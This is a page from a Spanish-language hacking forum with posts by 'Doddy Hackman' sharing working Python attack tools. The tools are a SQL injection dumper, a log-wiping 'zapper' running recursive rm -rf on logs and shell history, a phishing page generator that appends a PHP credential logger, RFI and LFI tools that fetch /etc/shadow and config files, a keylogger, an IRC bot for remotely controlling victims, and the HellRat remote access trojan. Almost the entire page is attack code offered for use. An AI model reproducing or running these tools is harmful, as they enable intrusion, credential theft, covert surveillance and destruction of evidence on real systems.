  269.    db = raw_input("\n\n[DB] : ")
  270.    showtablesdb(page,db,bypass)
  271.    raw_input()
  272.    menu(page,bypass)
  273.   elif op == 5:
  274.    db = raw_input("\n\n[DB] : ")
  275.    table = raw_input("\n\n[Table] : ")
  276.    showcolumnsdb(page,db,table,bypass)
  277.    raw_input()
  278.    menu(page,bypass)
  279.   elif op == 6:
  280.    mysqluser(page,bypass)
  281.    raw_input()
  282.    menu(page,bypass)
  283.   elif op == 7:
  284.    more(page,bypass)
  285.    raw_input()
  286.    menu(page,bypass)	
  287.   elif op == 8:
  288.    table = raw_input("\n\n[Table] : ")
  289.    col1 = raw_input("\n\n[Column 1] : ")
  290.    col2 = raw_input("\n\n[Column 2] : ")
  291.    dumper(page,bypass,table,col1,col2)
  292.    raw_input()
  293.    menu(page,bypass)
  294.   elif op == 9:
  295.    os.system("start logs/"+gethost(page)+".txt")
  296.    menu(page,bypass)
  297.   elif op == 10:
  298.    sta()
  299.  except:
  300.   menu(page,bypass)
  301.  if op == 11:
  302.   copyright()
  303.  
  304.  
  305. def more(web,passx):
  306.  pass1,pass2 = bypass(passx)
  307.  print "\n[+] Searching more data\n"
  308.  web1 = re.sub("hackman","unhex(hex(concat(0x334d50335a3452,0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241,0x334d50335a3452)))",web)
  309.  code0 = toma(web1+pass2)
  310.  if (re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)):
  311.   datax = re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)
  312.   datar = re.split("K0BRA",datax[0])
  313.   print "[+] Username :",datar[1]
  314.   print "[+] Database :",datar[2]
  315.   print "[+] Version :",datar[3],"\n"
  316.   savefile("logs/"+gethost(web)+".txt","[+] Username : "+datar[1])
  317.   savefile("logs/"+gethost(web)+".txt","[+] Database : "+datar[2])
  318.   savefile("logs/"+gethost(web)+".txt","[+] Version : "+datar[3]+"\n")
  319.  code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  320.  if (re.findall("K0BRA",code1)):
  321.    print "[+] mysql.user : on" 
  322.    savefile("logs/"+gethost(web)+".txt","[+] mysql.user : on")
  323.  code2 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  324.  if (re.findall("K0BRA",code2)):
  325.    print "[+] information_schema.tables : on"
  326.    savefile("logs/"+gethost(web)+".txt","[+] information_schema.tables : on")
  327.  
  328. def findlength(web,passx): 
  329.  pass1,pass2 = bypass(passx) 
  330.  print "\n[+] Finding columns length"
  331.  number = "unhex(hex(concat(0x4b30425241,1,0x4b30425241)))"
  332.  for te in range(2,30):
  333.   number = str(number)+","+"unhex(hex(concat(0x4b30425241,"+str(te)+",0x4b30425241)))"
  334.   code = toma(web+"-1"+pass1+"union"+pass1+"select"+pass1+number+pass2)
  335.   if (re.findall("K0BRA(.*?)K0BRA",code)):
  336.    numbers = re.findall("K0BRA(.*?)K0BRA",code)	
  337.    print "[+] Column length :",te
  338.    print "[+] Numbers",numbers,"print data"
  339.    sql = ""
  340.    tex = te + 1
  341.    for sqlix in range(2,tex):
  342.     sql = str(sql)+","+str(sqlix)
  343.     sqli  = str(1)+sql
  344.    sqla = re.sub(numbers[0],"hackman",sqli)
  345.    savefile("logs/"+gethost(web)+".txt","[Target] : "+web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla)
  346.    menu(web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla,passx)
  347.  
  348.  print "[-] Length dont found\n"
  349.  
  350.  
  351. def scan(web,passx):
  352.  pass1,pass2 = bypass(passx) 
  353.  print "\n\n[+] Testing vulnerability"
  354.  code = toma(web+"-1"+pass1+"union"+pass1+"select"+pass1+"1"+pass2)
  355.  if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  356.   print "[+] SQLI Detected"
  357.   findlength(web,passx)
  358.  else:
  359.   print "[-] Not Vulnerable"
  360.   copyright()
  361.  
  362.  
  363. def sta(): 
  364.  
  365.  clean()
  366.  header()
  367.  
  368.  web = raw_input("\n\n[Page] : ")
  369.  bypasx = raw_input("\n\n[Bypass] : ")
  370.  scan(web,bypasx)
  371.  
  372. sta()
  373.  
  374. #The End
393  Programación / Scripting / [Python] Zapper By Doddy H en: 7 Octubre 2011, 01:39 am
Hola a todos.

Acabo de hacer un simple zapper en python , tan solo lo cargan en el sistema web atacado y comienza
a borrar huellas.
Eso si , no me habia dado cuenta de que facil usar python xDD

Código
  1. #!usr/bin/python
  2. #Zapper (C) Doddy Hackman
  3.  
  4. import os
  5.  
  6. paths = ["/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
  7. "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
  8. "/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access","/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
  9. "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
  10. "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth"]
  11.  
  12. comandos  = ['find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name  *.log -exec rm -rf {} \;','unset HISTFILE','unset SAVEHIST']
  13.  
  14. print "\n[+] Starting the zapper"
  15.  
  16. for path in paths :
  17.  try :
  18.   os.delete(path)
  19.  except :
  20.   pass
  21.  
  22. for cmd in comandos :
  23.  try:
  24.   os.system(cmd)
  25.  except:
  26.   pass
  27.  
  28. print "[+] All logs are erased\n"
  29.  
  30. #The End ? 	
  31.  
  32.  
394  Programación / Scripting / [Python] RFI Tester en: 7 Octubre 2011, 01:39 am
Hola a todos.

Acabo de hacer un simple verificador de vulnerabilidad RFI

Código
  1. #!usr/bin/python
  2. #RFI Tester (C) Doddy Hackman
  3.  
  4. import os,sys,urllib2,re
  5.  
  6. def header() : 
  7.  print "\n--== RFI Tester ==--\n"
  8.  
  9. def copyright() : 
  10.  print "\n\n(C) Doddy Hackman 2010\n"
  11.  exit(1)
  12.  
  13. def show() :
  14.  print "\n[*] Sintax : ",sys.argv[0]," <web>\n"
  15.  
  16. def toma(web) :
  17.  return urllib2.urlopen(web).read()
  18.  
  19. def test(web):
  20.  try:
  21.   print "\n[+] Testing vulnerability RFI in",web
  22.   code = toma(web+"http://www.supertangas.com")
  23.   if(re.findall("Los mejores TANGAS de la red",code,re.I)):
  24.    print "[+] RFI Detected"
  25.   else:
  26.    print "[-] RFI Not Found" 
  27.  except:
  28.   pass
  29.  
  30. header()
  31.  
  32. if len(sys.argv) != 2 : 
  33.  show()
  34.  
  35. else :
  36.  test(sys.argv[1])
  37.  
  38. copyright()
  39.  
  40.  
  41. #The End
  42.  

Ejemplo de uso

Código:
python rfi.py http://127.0.0.1/rfi.php?index=

Código:
C:\Users\DoddyH\Desktop\Arsenal X parte 2>rfi.py http://127.0.0.1/rfi.php?index=

--== RFI Tester ==--


[+] Testing vulnerability RFI in http://127.0.0.1/rfi.php?index=
[+] RFI Detected

(C) Doddy Hackman 2010
395  Programación / Scripting / [Python] Phising Gen By Doddy H en: 7 Octubre 2011, 01:39 am
Hola a todos

Acabo de terminar esta tool en python para generar los fakes o phising (si es que asi se escribe)
No me dedico mucho a esa parte del hacking , pero hice esta cosa rara porque no
tenia nada que hacer xDD.


Código
  1. #!usr/bin/python
  2. #Phising Gen (C) Doddy Hackman
  3.  
  4. import urllib2,sys,os
  5.  
  6.  
  7. def savefile(filename,text):
  8.  file = open(filename,"w")
  9.  file.write(text)
  10.  
  11.  
  12. def header() : 
  13.  print "\n\n--== Phising Gen ==--\n"
  14.  
  15. def copyright() : 
  16.  print "\n\n(C) Doddy Hackman 2010\n"
  17.  exit(1)
  18.  
  19. def show() :
  20.  print "\n[*] Sintax : ",sys.argv[0]," <web> <filename>\n"
  21.  
  22. def toma(web) :
  23.  return urllib2.urlopen(web).read()
  24.  
  25.  
  26. def gen(web,new):
  27.  try:
  28.   print "\n[+] Working in the phishing"
  29.   code = toma(web) 
  30.   text ='<?php $file = fopen("dump.txt", "a");foreach($_POST as $uno => $dos) {fwrite($file, $uno."=".$dos."\r\n");}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres."=".$cuatro."\r\n");}fclose($file);?>'
  31.   print "[+] The fake was save in",new
  32.   savefile(new,code+"\n\n"+text)
  33.  except:
  34.   pass
  35.  
  36. header()
  37.  
  38. if len(sys.argv) != 3 : 
  39.  show()
  40.  
  41. else :
  42.  gen(sys.argv[1],sys.argv[2])
  43.  
  44. copyright()
  45.  
  46. #The End	
  47.  
  48.  
  49.  

Ejemplo de uso

Código:
C:/Users/DoddyH/Desktop/Arsenal X parte 2>phising.py http://127.0.0.1/login.php
yeah.php



--== Phising Gen ==--


[+] Working in the phishing
[+] The fake was save in yeah.php


(C) Doddy Hackman 2010
396  Programación / Scripting / [Python] LFI T00l en: 7 Octubre 2011, 01:38 am
Hola a todos.

Acabo de terminar una tool para testear una vulnerabilidad LFI , si la pagina
es vulnerable entonces el script automaticamente intenta brutear archivos.

Código
  1. #!usr/bin/perl
  2. #LFI T00l (C) Doddy Hackman
  3.  
  4. import os,sys,urllib2,re
  5.  
  6. files = ['../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
  7.  
  8. def header() : 
  9.  print "\n--== LFI T00l ==--\n"
  10.  
  11. def copyright() : 
  12.  print "\n\n(C) Doddy Hackman 2010\n"
  13.  exit(1)
  14.  
  15. def show() :
  16.  print "\n[*] Sintax : ",sys.argv[0]," <web>\n"
  17.  
  18. def toma(web) :
  19.  return urllib2.urlopen(web).read()
  20.  
  21.  
  22. def fuzz(web):
  23.  print "\n[+] Fuzzing files...\n"
  24.  for file in files:
  25.   code = toma(web+file)
  26.   if not (re.findall("No such file or directory in",code)):
  27.    print "[File Found] : ",web,file
  28.  
  29.  
  30.  
  31. def test(web):
  32.  try:
  33.   print "\n[+] Testing vulnerability LFI in",web
  34.   code = toma(web+"'")
  35.   if(re.findall("No such file or directory in <b>(.*?)<\/b> on line",code,re.I)):
  36.    fpd = re.findall("No such file or directory in <b>(.*?)<\/b> on line",code,re.I)
  37.    print "\n[+] LFI Detected"
  38.    print "[+] Full Path discloure : ",fpd[0]
  39.    fuzz(web)
  40.   else:
  41.    print "[-] LFI Not Found" 
  42.  except:
  43.   pass
  44.  
  45. header()
  46.  
  47. if len(sys.argv) != 2 : 
  48.  show()
  49.  
  50. else :
  51.  test(sys.argv[1])
  52.  
  53. copyright()
  54.  
  55.  
  56. #The End
  57.  
Ejemplo de uso

Código:
python lfi.py http://127.0.0.1/lfi.php?file=

Código:
C:\Users\DoddyH\Desktop\Arsenal X parte 2>lfi.py http://127.0.0.1/lfi.php?file=

--== LFI T00l ==--


[+] Testing vulnerability LFI in http://127.0.0.1/lfi.php?file=

[+] LFI Detected
[+] Full Path discloure :  C:\xampp\htdocs\lfi.php

[+] Fuzzing files...



(C) Doddy Hackman 2010
397  Programación / Scripting / [Python] Simple Keylogger en: 7 Octubre 2011, 01:38 am
Un simple keylogger en Python

Código
  1. #!usr/bin/python
  2. #Simple Keylogger in Python
  3. #(C) Doddy Hackman 2011
  4.  
  5. import pyHook,pythoncom
  6.  
  7.  
  8. def savefile(name,text):
  9.  file = open(name,"a")
  10.  file.write(text+"\n")
  11.  file.close()
  12.  
  13. def toma(frase):
  14.  savefile("logs.txt",frase.Key)
  15.  
  16. def capturar():
  17.  nave = pyHook.HookManager()
  18.  nave.KeyDown = toma
  19.  nave.HookKeyboard()
  20.  pythoncom.PumpMessages()
  21.  
  22. while 1:
  23.  capturar()
  24.  
  25. # The End
398  Programación / Scripting / [Python] IRC Bot en: 7 Octubre 2011, 01:37 am
Hola a todos.

Aca les traigo un IRC Bot en Python para poder usar como servidor oculto y mandarselo
a una victima para poder controlarla desde un comando canal IRC

El comando clave para mandar comandos que despues se muestra el
resultado de comando en el chat es

Código:
cmdnow TUCOMANDO

Código
  1. #!usr/bin/python
  2. #Insane Bot (C) Doddy Hackman 2011
  3. #Version beta 0.00001
  4.  
  5. import re,socket
  6. import subprocess
  7.  
  8. host = "127.0.0.1"
  9. canal = "#locos"
  10. nick = "bot"
  11.  
  12. irc = socket.socket()	
  13. try:
  14.  irc.connect((host,6667))
  15.  irc.send("NICK "+nick+"\r\n")
  16.  irc.send("USER "+nick+" 1 1 1 1\r\n")
  17.  irc.send("JOIN "+canal+"\r\n")
  18.  print "[+] Insane Bot Online\n"
  19.  while 1:
  20.   code = irc.recv(9999)
  21.   if re.findall("PING",code):
  22.    irc.send("PONG "+code.split()[1]+"\r\n")
  23.   if re.findall("PRIVMSG",code):
  24.    nick = code.split("!")
  25.    nick = nick[0].replace(":","")
  26.    msg = code.split(":")[2:][0]
  27.    if re.findall("cmdnow",code):
  28.     cmd = code.split("cmdnow")[1]
  29.     irc.send("PRIVMSG "+canal+" : [+] Loading command : "+cmd+"\n")
  30.     rea = subprocess.Popen(cmd,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  31.     if rea:
  32.      re1 = rea.stdout.read()
  33.      total = re1.replace("\n","|") 
  34.      irc.send("PRIVMSG "+canal+" : "+total+"\n")
  35.     else:
  36.      re2 = rea.stderr.read()
  37.      total = re2.replace("\n","|")
  38.      irc.send("PRIVMSG "+canal+" : "+total+"\n")
  39.  
  40.  
  41. except:
  42.  print "\n\n[-] Error\n\n"
  43.  
  44.  
  45. # The End
  46.  
399  Programación / Scripting / [Python] HTTP Console By Doddy H en: 7 Octubre 2011, 01:37 am
Bueno , este es un simple programa en python hecho en tk que permite mandar
peticiones webs a un servidor en concreto


Código
  1. #!usr/bin/python
  2. #Console (C) Doddy Hackman 2011
  3.  
  4. from Tkinter import *
  5. import socket
  6.  
  7. global x,socket
  8.  
  9. def execa() :
  10.  
  11.  
  12.  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13.  s.connect((str(host.get()),80))
  14.  s.send(cmd.get()+"\r\n")
  15.  data = s.recv(666)
  16.  s.close()
  17.  panel.insert(END,repr(data))
  18.  
  19.  
  20.  
  21. window = Tk()
  22. window.title("HTTP Console (C) Doddy Hackman 2011")
  23.  
  24. window.maxsize(width="400",height="350")
  25. window.minsize(width="400",height="350")
  26.  
  27. window.configure(background="black")
  28. window.configure(cursor="tcross")
  29.  
  30. host = StringVar()
  31. cmd = StringVar()
  32.  
  33. panel = Text(window,width=30,height=15,bg="black",fg="red")
  34.  
  35. Label(window,bg="black").grid(row=3)
  36.  
  37. Label(window,text="Host : ",bg="black",fg="red").grid(row=4,column=4)
  38. entry = Entry(window,width=35,textvariable=host,bg="black",fg="red").grid(row=4,column=5)
  39.  
  40. Label(window,text="Command : ",bg="black",fg="red").grid(row=8,column=4)
  41. entry = Entry(window,width=35,textvariable=cmd,bg="black",fg="red").grid(row=8,column=5)
  42.  
  43. Button(text="Cargar",bg="black",fg="red",activebackground="red",command=execa).grid(row=8,column=9)
  44.  
  45.  
  46. Label(window,bg="black").grid(row=19)
  47. panel.grid(row=20,column=5)	
  48.  
  49.  
  50. window.mainloop()
  51.  
400  Programación / Scripting / [Python] HellRat By Doddy H en: 7 Octubre 2011, 01:37 am
Hola , aca traigo un troyano en python con las siguientes
opciones

  • Ocultar inicio
  • Mostrar inicio
  • Ocultar barra de tereas
  • Mostrar barra de tareas
  • Abrir CD
  • Cerrar CD
  • Ejecutar comandos
  • Mostrar informacion

server.py

Código
  1. #!usr/bin/python
  2. #Hell RAt (C) Doddy Hackman 2011
  3.  
  4. import socket,os,re,win32api,win32gui,win32con,ctypes,subprocess
  5.  
  6. print "\n\n[+] Online\n\n"
  7.  
  8. slave = socket.socket()
  9. slave.bind(("",666))
  10. slave.listen(999)
  11.  
  12. a,b = slave.accept()
  13.  
  14. while True:
  15.  rex = a.recv(20)
  16.  if re.findall("getso",rex):
  17.   z = os.name
  18.   a.send(z)
  19.  if re.findall("getpath",rex):
  20.   h = os.getcwd()
  21.   a.send(h)
  22.  if re.findall("ocultarinicio",rex): 
  23.   x = win32gui.FindWindow("Shell_TrayWnd","")
  24.   win32gui.ShowWindow(x,win32con.SW_HIDE)
  25.  elif re.findall("mostrarinicio",rex):
  26.   x = win32gui.FindWindow("Shell_TrayWnd","")
  27.   win32gui.ShowWindow(x,win32con.SW_SHOWNORMAL)
  28.  elif re.findall("ocultaricono",rex):
  29.   x = win32gui.FindWindow(0,"Program Manager")
  30.   win32gui.ShowWindow(x,win32con.SW_HIDE)
  31.  elif re.findall("mostraricono",rex):
  32.   x = win32gui.FindWindow(0,"Program Manager")
  33.   win32gui.ShowWindow(x,win32con.SW_SHOWNORMAL)
  34.  elif re.findall("abrircd",rex):
  35.   ctypes.windll.WINMM.mciSendStringW(u"set cdaudio door open", None, 0, None)
  36.  elif re.findall("cerrarcd",rex):
  37.   ctypes.windll.WINMM.mciSendStringW(u"set cdaudio door closed", None, 0, None)
  38.  else: 
  39.   rea = subprocess.Popen(rex,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  40.   if re:
  41.    a.send(rea.stdout.read())
  42.   else:
  43.    a.send(rea.stderr.read())
  44.  
  45.  
  46. # The End  

cliente.py

Código
  1. #!usr/bin/python 
  2. #HellRat (C) Doddy Hackman 2011
  3.  
  4. import os,socket,sys
  5.  
  6. def head(): 
  7.  print "\n\n-- == hELLrAT == --\n\n"
  8.  
  9. def copyright():
  10.  print "\n\n(C) Doddy Hackman 2011\n\n"
  11.  
  12. def clean():
  13.  if sys.platform=="win32":
  14.   os.system("cls")
  15.  else:
  16.   os.system("clear")
  17.  
  18. def men():
  19.  
  20.  try:
  21.   ip = raw_input("[+] IP : ")	
  22.   client = socket.socket()		
  23.   client.connect((ip,666))
  24.   while True: 
  25.    clean()
  26.    print "\n\n[+] Welcome to ",ip,"\n\n"
  27.    print "\n\n[1] Informacion"
  28.    print "[2] CMD"
  29.    print "[3] Abrir CD"
  30.    print "[4] Cerrar CD"
  31.    print "[5] Ocultar iconos"
  32.    print "[6] Mostrar iconos"
  33.    print "[7] Ocultar barra de tareas"
  34.    print "[8] Mostrar barra de tareas"
  35.    print "[9] Cambiar IP"
  36.    print "[10] Salir"
  37.    op = input("\n\n[Opcion] : ")
  38.    if op == 1:
  39.     print "\n\n[+] Informacion\n\n"
  40.     client.send("getso")
  41.     so = client.recv(999)
  42.     client.send("getpath")
  43.     path = client.recv(999)
  44.     print "[+] SO : "+so  
  45.     print "[+] Path : "+path
  46.     raw_input()
  47.    if op == 2: 
  48.     cmd = raw_input("\n[CMD] : ")
  49.     client.send(cmd)
  50.     code = client.recv(999)
  51.     print code
  52.     raw_input()
  53.    if op == 3:
  54.     client.send("abrircd")
  55.    if op == 4:
  56.     client.send("cerrarcd") 
  57.    if op == 5:
  58.     client.send("ocultaricono")
  59.    if op == 6:
  60.     client.send("mostraricono")
  61.    if op == 7:
  62.     client.send("ocultarinicio")
  63.    if op == 8:
  64.     client.send("mostrarinicio")
  65.    if op == 9:
  66.     men()
  67.    if op == 10:
  68.     client.close()
  69.     copyright()
  70.     raw_input()
  71.     sys.exit(1)
  72.  except:
  73.   print "\n\n[-] Error\n\n"
  74. head()
  75. men() 
  76.  
  77. # The End
  78.  
Páginas: 1 ... 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [40] 41 42 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines